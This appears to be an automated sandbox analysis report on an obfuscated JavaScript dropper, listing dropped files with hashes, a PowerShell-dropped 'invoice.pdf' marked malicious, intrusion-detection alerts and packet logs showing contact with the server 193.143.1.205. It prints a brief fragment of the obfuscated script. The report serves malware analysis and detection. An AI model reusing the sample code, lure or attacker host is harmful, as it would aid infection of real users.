Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bad8cbb5-4973-4ec3-8dd4-e7da0ec1b30f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e9ccdc59-fbd9-4615-950a-dbc369766a99.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16788), with CRLF line terminators
Entropy (8bit):	4.9205043902929875
TrID:
File name:	122388091976711996.js
File size:	20'230 bytes
MD5:	d1221a5dc0e8ad2129e2e3c9a5fbfd71
SHA1:	ad33eeb0b46e849d2a8542ed69c29da5b7ffbc94
SHA256:	5a28594b25a5062da43c91675ace38974fefe6b05ade784254bdbda1f33047ae
SHA512:	b989f4ee3416c3525db4fa80db92017ce37833e9a77978477f58c28d12a6e9b6904ea34dd01f1cae7b0d8f322c4a90c541162feb56179ef01235951d1829f65b
SSDEEP:	384:3C+WDCKnoUIt7U6RyVl7KRflHhhFlFgvHwGa:3C+jKkt7U6RyVl7KRflHZGa
TLSH:	C19296C6A048EA93CDD872F0EC1E11D767BC0A994FD81891E4701ED19397729A1F6EF4
File Content Preview:	function urdljrvch(){bfnhedvq=[1031,3079,5127,4103,2055,3072];var gsieg=this[gaznjs+xmnxowp+rgdfzvzf+yjrfx+qtynscq+mgkrab+uwkuddty+jxtyitsq](this[rhgyn+oeiwwtajq+jgioydr+rgdfzvzf+ocmvprmp+gaznjs+jxtyitsq][zekpte+rgdfzvzf+qtynscq+xmnxowp+jxtyitsq+qtynscq+q

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:15:32.592452+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49716	193.143.1.205	80	TCP
2025-01-10T23:15:34.809097+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49729	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:15:31.739862919 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:31.744807005 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:31.747479916 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:31.763658047 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:31.768563986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592349052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592391014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592403889 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592420101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592452049 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.592524052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592535973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592547894 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592562914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592570066 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.592570066 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.592672110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592684984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.592716932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.592716932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.628238916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.628251076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.628422976 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.699587107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.699619055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.699631929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.699848890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.699883938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.699908972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.699908972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.699919939 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700212955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700314045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700356960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.700356960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.700366020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700659037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700742006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700776100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700809002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.700817108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.700817108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.701297998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.701349974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.701383114 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.701421976 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.701421976 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.701469898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.701528072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.701803923 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.702225924 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.702260017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.702296972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.702331066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.702339888 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.703339100 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.762948036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.762972116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.763134956 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.798218966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.798259020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.798316956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.798326015 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.798346996 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.798388004 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.824985981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825038910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825073004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825124979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825139999 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.825202942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825236082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825278997 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.825278997 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.825316906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825371027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825403929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825419903 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.825675011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825710058 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825783014 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.825788975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.825860023 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.825927973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826004982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826056957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826071978 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.826090097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826126099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826165915 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.826544046 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826649904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826699018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826734066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826742887 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.826742887 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.826769114 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826803923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826838017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.826870918 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.826900005 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.827444077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.827477932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.827512026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.827550888 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.827563047 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.827594995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.827613115 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.827629089 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.827661991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.827686071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.828416109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.828466892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.828500986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.828532934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.828542948 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.828542948 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.828567028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.828599930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.828638077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.828712940 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.828780890 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.829252005 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.829317093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.829353094 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.829406977 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.856044054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.856060982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.856081009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.856097937 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.856117964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.856127024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.856165886 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.856165886 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.889213085 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.889229059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.889332056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.923728943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.923762083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.923819065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.923849106 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.923867941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.923897982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.923930883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.923964977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.923970938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.923970938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.950459957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950495958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950530052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950536013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.950572014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950572968 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.950601101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950634956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950654984 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.950670004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950700998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950719118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.950797081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950848103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950854063 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.950881958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950913906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.950943947 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.951036930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951087952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951090097 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.951121092 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951175928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.951201916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951236010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951272011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951339006 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.951343060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951375961 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951404095 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.951684952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951734066 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.951739073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951775074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951826096 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.951832056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951864958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951899052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.951909065 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.952115059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952167988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952173948 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.952202082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952265024 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.952266932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952300072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952332973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952361107 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.952368021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952399969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952431917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952477932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.952477932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.952908039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952959061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.952992916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953026056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953037024 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.953061104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953114033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953118086 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.953147888 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953181028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953214884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953219891 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.953219891 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.953247070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953280926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953314066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953356981 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.953356981 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.953737020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953792095 CET	80	49716	193.143.1.205	192.168.2.6
